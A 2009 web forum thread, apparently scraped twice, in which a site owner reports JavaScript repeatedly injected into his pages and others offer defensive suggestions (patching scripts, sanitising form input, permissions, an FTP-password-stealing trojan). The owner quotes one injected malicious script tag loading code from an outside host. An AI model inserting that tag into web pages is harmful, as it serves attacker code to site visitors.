Is Shared WebHosting A Security Risk

nRehman · 10-17-2009, 02:35 PM

This is a second time this year I got automatic addition of java script coding inside my web pages, it automatically creat one php file inside images folder too. May I know how to prevent and solve this problem and what is a role of hosting companies in said sitauation.

TristanPerry · 10-17-2009, 05:00 PM

Shared hosting in itself isn't a risk. Any proper shared host will secure the servers as necessary.

Beyond that, are you sure that you aren't running any insecure applications? Are all your software installs up to date?

It's a bit too difficult to answer your first question since there's thousands of different reasons why this may have happened. It could be the client's fault, or it could be the host's fault.

To answer your last question - a host's security responsibility is in-part to have a secure server and to ensure that the various accounts cannot affect each-other's files etc.

But keeping scripts up to date and all is the client's responsibility.

mywebwork · 10-17-2009, 05:26 PM

As Tristan correctly pointed out Shared Hosting itself isn't a greater security risk, a properly setup and maintained Apache virtual server can be made quite secure. However there are other factors that can make Shared Hosting plans less reliable, all of them due to the "shared" aspect of the arrangement.

The biggest concerns with shared hosting are regarding who exactly you are sharing it with! You share a common IP address, so if one of the domains on your server does something spammy, unethical or downright illegal your shared IP address could end up on a few blacklists. This would affect things like e-mail deliverability if you use your own mail servers. Another concern is that one or two of the sites you share services with could eat up the majority of the bandwidth or CPU cycles, making your site slow and nonresponse. As Google is now starting to consider response time in its ranking of sites this could hurt you in more ways than one.

A site like this one can show you who your "neighbors" are on your hosting plan. Just enter your domain name and see who else shares the same IP address as you:

myIPneighbors.com Reverse IP Lookup & Domain Check DNS Tool

Bill

n7 Studios · 10-19-2009, 04:07 AM

Check all of your scripts that are on your web site immediately. If they're downloaded, check for available updates. Check file permissions, or get someone else to look at this if you don't understand.

One or more of those has a vulnerability which someone has exploited to be able to write files to your web host. Leave this unfixed, and the chances are they'll be able to do much worse now they know how to access parts of your web site.

nRehman · 10-20-2009, 09:07 AM

Thanks for all of you, its really great to have your suggessions and views.. as far as scripts and files, I have already blocked my blog and directory.. I am only talking about the static pages that contain just one application form about that I dont have any doubt. Moreover, I refreshed my static web pages with the new uploaded files but this time the illegal java script again appeared but have changed its url.

Anyways, question is this where it has rooted it self. Have you any adea.

SimonFairbairn · 10-21-2009, 05:49 AM

If you have any upload, contact form or any other way of anonymous users adding data to your website then you need to make sure that it's thoroughly cleaned before you accept it. Any data that you are accepting from users - even just a simple contact form - needs to be treated with utmost suspicion as it's just not to be trusted.

What's this application form you are talking about? A simple textarea is enough for someone to get some malicious code on your page if you're not cleaning it properly.

If someone's placed a malicious script on your site, it could be anywhere. You'll need to go through your entire site directory - making sure that you are able to see all hidden files and folders - and look for something that doesn't look right.

If you have a database, you'll need to go through all of the entries on that as well.

Unfortunately, it's not the host's responsibility to make sure that your pages are properly secured, so they'll probably not be much help.

Si

ninjawarrior · 10-21-2009, 11:35 AM

Did you create those static files yourself, maybe using some sort of html editor perhaps. Some html editors include some javascript when you create html pages and some of them don't easily show up as javascript when you're in edit mode.

Or perhaps somebody else made those pages for you and whatever that javascript is, it's supposed to enhance the page somehow.

If you can provide more information regarding the javascript that gets included into your files that you speak of, somebody might be able to help you regarding your specific problem.

Unless you're using FREE shared hosting, the javascript that gets auto included into your pages isn't normal practice nowadays by most shared hosting providers. Geocities used to do this, but that's an era of the internet that's way beyond what we'd call ancient history now.

Hope this helps.

nRehman · 10-26-2009, 02:18 PM

The problem that I am getting is called a "script injection", said website is online from 5 to 6 years, I have a clean copy here on my computer which stays always in a secure atmosphere, when I upload files to the server.. these files stay clean for few hours without any problem with those.

Anyway, it embed different urls after every fresh upload before the body tag, this time it embeds:

<script src=http://jvaflash.com/images/postinfo.php ></script>

it also made one file into my "images" folder named "gifimg.php"

Moreover, this problem was first seen in last may, but when I uploaded new fresh copy it was gone till now, but now its not working.

Do you think, it may also be a problem of a database, because I am not sure but it started after building my blog with my domain.

I also took a new hosting platform but when I uploaded it only take 24 hours to initiate its injection process with in 10 seconds to reach my four sites on this server.

Gary Smith · 10-27-2009, 02:10 AM

I don't suppose you're using FileZilla? It seems to be getting hit pretty hard recently by a trojan that grabs the ftp login details and then uses them to modify some of your files (it seems to be mainly index.php and index.html). I had a customer recently with 50-60 websites infected by this.

It's a trojan on the PC that grabs those ftp login details and FileZilla don't have any plans to change the way ftp credentials are stored (they are currently stored in an unencrypted state). More info here:

FileZilla Security Alert - Hacker Exploit Through Trojan | Tech-Evangelist

nRehman · 10-27-2009, 02:53 AM

Quote:

Originally Posted by Gary Smith

I don't suppose you're using FileZilla? It seems to be getting hit pretty hard recently by a trojan that grabs the ftp login details and then uses them to modify some of your files (it seems to be mainly index.php and index.html). I had a customer recently with 50-60 websites infected by this.

It's a trojan on the PC that grabs those ftp login details and FileZilla don't have any plans to change the way ftp credentials are stored (they are currently stored in an unencrypted state). More info here:

FileZilla Security Alert - Hacker Exploit Through Trojan | Tech-Evangelist

Thanks for your concern! I am using "WS_FTP Professional 2006".

Ken Durham · 10-28-2009, 06:31 PM

It sounds like your directory system needs locked down. By setting the correct permissions on your server you can insure that no one but you can make any modifications.

Also, checking the ftp logs will tell you if your account has been compromised.
You web server logs will tell you a lot about what is going on.

It sounds like your form is the most likely culprit. That can be easily fixed but would need to see what the code is doing first.

If you haven't got it sorted yet PM me and we'll see what we can work out.

Ken

nRehman · 10-29-2009, 03:22 PM

Quote:

Originally Posted by HomeComputerGames

It sounds like your directory system needs locked down. By setting the correct permissions on your server you can insure that no one but you can make any modifications.

Also, checking the ftp logs will tell you if your account has been compromised.
You web server logs will tell you a lot about what is going on.

It sounds like your form is the most likely culprit. That can be easily fixed but would need to see what the code is doing first.

If you haven't got it sorted yet PM me and we'll see what we can work out.

Ken

Dear Ken, thanks for your help, I will definitely write you.. Anyway do you think FTP program like "WS_FTP Professional 2006" is safe to upload files because I mostly use it to upload my files.

10-17-2009, 02:35 PM	#1
nRehman HyperActive Warrior Join Date: May 2008 Location: , , . Posts: 405 Thanks: 34 Thanked 31 Times in 30 Posts	Is Shared WebHosting A Security Risk This is a second time this year I got automatic addition of java script coding inside my web pages, it automatically creat one php file inside images folder too. May I know how to prevent and solve this problem and what is a role of hosting companies in said sitauation.
	Personal Bad Credit Loans Canada - Car Title Loan Canada - Car Loan Canada - Payday Loans Canada.. :: 25 Unique Backlinks Every Day! Get Free Backlinks Builder For Best SEO Ranking Online ::

10-17-2009, 05:00 PM	#2
TristanPerry Advanced Warrior War Room Member Join Date: Aug 2009 Location: Cardiff, United Kingdom Posts: 772 Thanks: 171 Thanked 147 Times in 103 Posts Social Networking	Re: Is Shared WebHosting A Security Risk Shared hosting in itself isn't a risk. Any proper shared host will secure the servers as necessary. Beyond that, are you sure that you aren't running any insecure applications? Are all your software installs up to date? It's a bit too difficult to answer your first question since there's thousands of different reasons why this may have happened. It could be the client's fault, or it could be the host's fault. To answer your last question - a host's security responsibility is in-part to have a secure server and to ensure that the various accounts cannot affect each-other's files etc. But keeping scripts up to date and all is the client's responsibility.
	"If you are clear where you are going and you take several steps in that direction every day, you eventually have to get there."

10-17-2009, 05:26 PM	#3
mywebwork Senior Warrior Member War Room Member Join Date: Sep 2008 Location: Honolulu, Hawaii, USA & Montreal Canada Posts: 2,218 Blog Entries: 1 Thanks: 759 Thanked 724 Times in 505 Posts	Re: Is Shared WebHosting A Security Risk As Tristan correctly pointed out Shared Hosting itself isn't a greater security risk, a properly setup and maintained Apache virtual server can be made quite secure. However there are other factors that can make Shared Hosting plans less reliable, all of them due to the "shared" aspect of the arrangement. The biggest concerns with shared hosting are regarding who exactly you are sharing it with! You share a common IP address, so if one of the domains on your server does something spammy, unethical or downright illegal your shared IP address could end up on a few blacklists. This would affect things like e-mail deliverability if you use your own mail servers. Another concern is that one or two of the sites you share services with could eat up the majority of the bandwidth or CPU cycles, making your site slow and nonresponse. As Google is now starting to consider response time in its ranking of sites this could hurt you in more ways than one. A site like this one can show you who your "neighbors" are on your hosting plan. Just enter your domain name and see who else shares the same IP address as you: myIPneighbors.com Reverse IP Lookup & Domain Check DNS Tool Bill

10-19-2009, 04:07 AM	#4
n7 Studios Web Developer, IT Support War Room Member Join Date: Dec 2008 Location: Birmingham, UK Posts: 513 Thanks: 10 Thanked 77 Times in 65 Posts Social Networking	Re: Is Shared WebHosting A Security Risk Check all of your scripts that are on your web site immediately. If they're downloaded, check for available updates. Check file permissions, or get someone else to look at this if you don't understand. One or more of those has a vulnerability which someone has exploited to be able to write files to your web host. Leave this unfixed, and the chances are they'll be able to do much worse now they know how to access parts of your web site.
	THE Web Development Guru - Wordpress / Magento / iOS Bespoke Dev. HTML5, CSS3, PHP, MySQL. -- UK Internet Marketing Community.

10-20-2009, 09:07 AM	#5
nRehman HyperActive Warrior Join Date: May 2008 Location: , , . Posts: 405 Thanks: 34 Thanked 31 Times in 30 Posts	Re: Is Shared WebHosting A Security Risk Thanks for all of you, its really great to have your suggessions and views.. as far as scripts and files, I have already blocked my blog and directory.. I am only talking about the static pages that contain just one application form about that I dont have any doubt. Moreover, I refreshed my static web pages with the new uploaded files but this time the illegal java script again appeared but have changed its url. Anyways, question is this where it has rooted it self. Have you any adea.
	Personal Bad Credit Loans Canada - Car Title Loan Canada - Car Loan Canada - Payday Loans Canada.. :: 25 Unique Backlinks Every Day! Get Free Backlinks Builder For Best SEO Ranking Online ::

10-21-2009, 05:49 AM	#6
SimonFairbairn Warrior Member Join Date: Oct 2009 Location: Manchester, UK Posts: 21 Thanks: 1 Thanked 2 Times in 2 Posts Social Networking	Re: Is Shared WebHosting A Security Risk If you have any upload, contact form or any other way of anonymous users adding data to your website then you need to make sure that it's thoroughly cleaned before you accept it. Any data that you are accepting from users - even just a simple contact form - needs to be treated with utmost suspicion as it's just not to be trusted. What's this application form you are talking about? A simple textarea is enough for someone to get some malicious code on your page if you're not cleaning it properly. If someone's placed a malicious script on your site, it could be anywhere. You'll need to go through your entire site directory - making sure that you are able to see all hidden files and folders - and look for something that doesn't look right. If you have a database, you'll need to go through all of the entries on that as well. Unfortunately, it's not the host's responsibility to make sure that your pages are properly secured, so they'll probably not be much help. Si
	Create stunning InfoProducts mini-sites in under 10 minutes with our amazing FREE WordPress theme: http://www.infoproductstheme.com

10-21-2009, 11:35 AM	#7
ninjawarrior Active Warrior War Room Member Join Date: Oct 2009 Posts: 56 Thanks: 31 Thanked 5 Times in 3 Posts	Re: Is Shared WebHosting A Security Risk Did you create those static files yourself, maybe using some sort of html editor perhaps. Some html editors include some javascript when you create html pages and some of them don't easily show up as javascript when you're in edit mode. Or perhaps somebody else made those pages for you and whatever that javascript is, it's supposed to enhance the page somehow. If you can provide more information regarding the javascript that gets included into your files that you speak of, somebody might be able to help you regarding your specific problem. Unless you're using FREE shared hosting, the javascript that gets auto included into your pages isn't normal practice nowadays by most shared hosting providers. Geocities used to do this, but that's an era of the internet that's way beyond what we'd call ancient history now. Hope this helps.

10-26-2009, 02:18 PM	#8
nRehman HyperActive Warrior Join Date: May 2008 Location: , , . Posts: 405 Thanks: 34 Thanked 31 Times in 30 Posts	Re: Is Shared WebHosting A Security Risk The problem that I am getting is called a "script injection", said website is online from 5 to 6 years, I have a clean copy here on my computer which stays always in a secure atmosphere, when I upload files to the server.. these files stay clean for few hours without any problem with those. Anyway, it embed different urls after every fresh upload before the body tag, this time it embeds: <script src=http://jvaflash.com/images/postinfo.php ></script> it also made one file into my "images" folder named "gifimg.php" Moreover, this problem was first seen in last may, but when I uploaded new fresh copy it was gone till now, but now its not working. Do you think, it may also be a problem of a database, because I am not sure but it started after building my blog with my domain. I also took a new hosting platform but when I uploaded it only take 24 hours to initiate its injection process with in 10 seconds to reach my four sites on this server.
	Personal Bad Credit Loans Canada - Car Title Loan Canada - Car Loan Canada - Payday Loans Canada.. :: 25 Unique Backlinks Every Day! Get Free Backlinks Builder For Best SEO Ranking Online ::

10-27-2009, 02:10 AM	#9
Gary Smith HyperActive Warrior War Room Member Join Date: May 2006 Location: Ballarat, Victoria , Australia. Posts: 305 Thanks: 10 Thanked 17 Times in 14 Posts Social Networking	Re: Is Shared WebHosting A Security Risk I don't suppose you're using FileZilla? It seems to be getting hit pretty hard recently by a trojan that grabs the ftp login details and then uses them to modify some of your files (it seems to be mainly index.php and index.html). I had a customer recently with 50-60 websites infected by this. It's a trojan on the PC that grabs those ftp login details and FileZilla don't have any plans to change the way ftp credentials are stored (they are currently stored in an unencrypted state). More info here: FileZilla Security Alert - Hacker Exploit Through Trojan \| Tech-Evangelist
	Gary Smith PHP Developer and aging geek

10-28-2009, 06:31 PM	#11
Ken Durham Advanced Warrior War Room Member Join Date: Jun 2009 Location: Chesterton, IN Posts: 923 Thanks: 129 Thanked 193 Times in 153 Posts	Re: Is Shared WebHosting A Security Risk It sounds like your directory system needs locked down. By setting the correct permissions on your server you can insure that no one but you can make any modifications. Also, checking the ftp logs will tell you if your account has been compromised. You web server logs will tell you a lot about what is going on. It sounds like your form is the most likely culprit. That can be easily fixed but would need to see what the code is doing first. If you haven't got it sorted yet PM me and we'll see what we can work out. Ken
	Webmaster Services List Your Wealth Building Systems and Services for Free Insanity is doing the same thing over and over and expecting a different result ~ Einstein Insanity is doing the same thing over and over and never getting the same results ~ Ken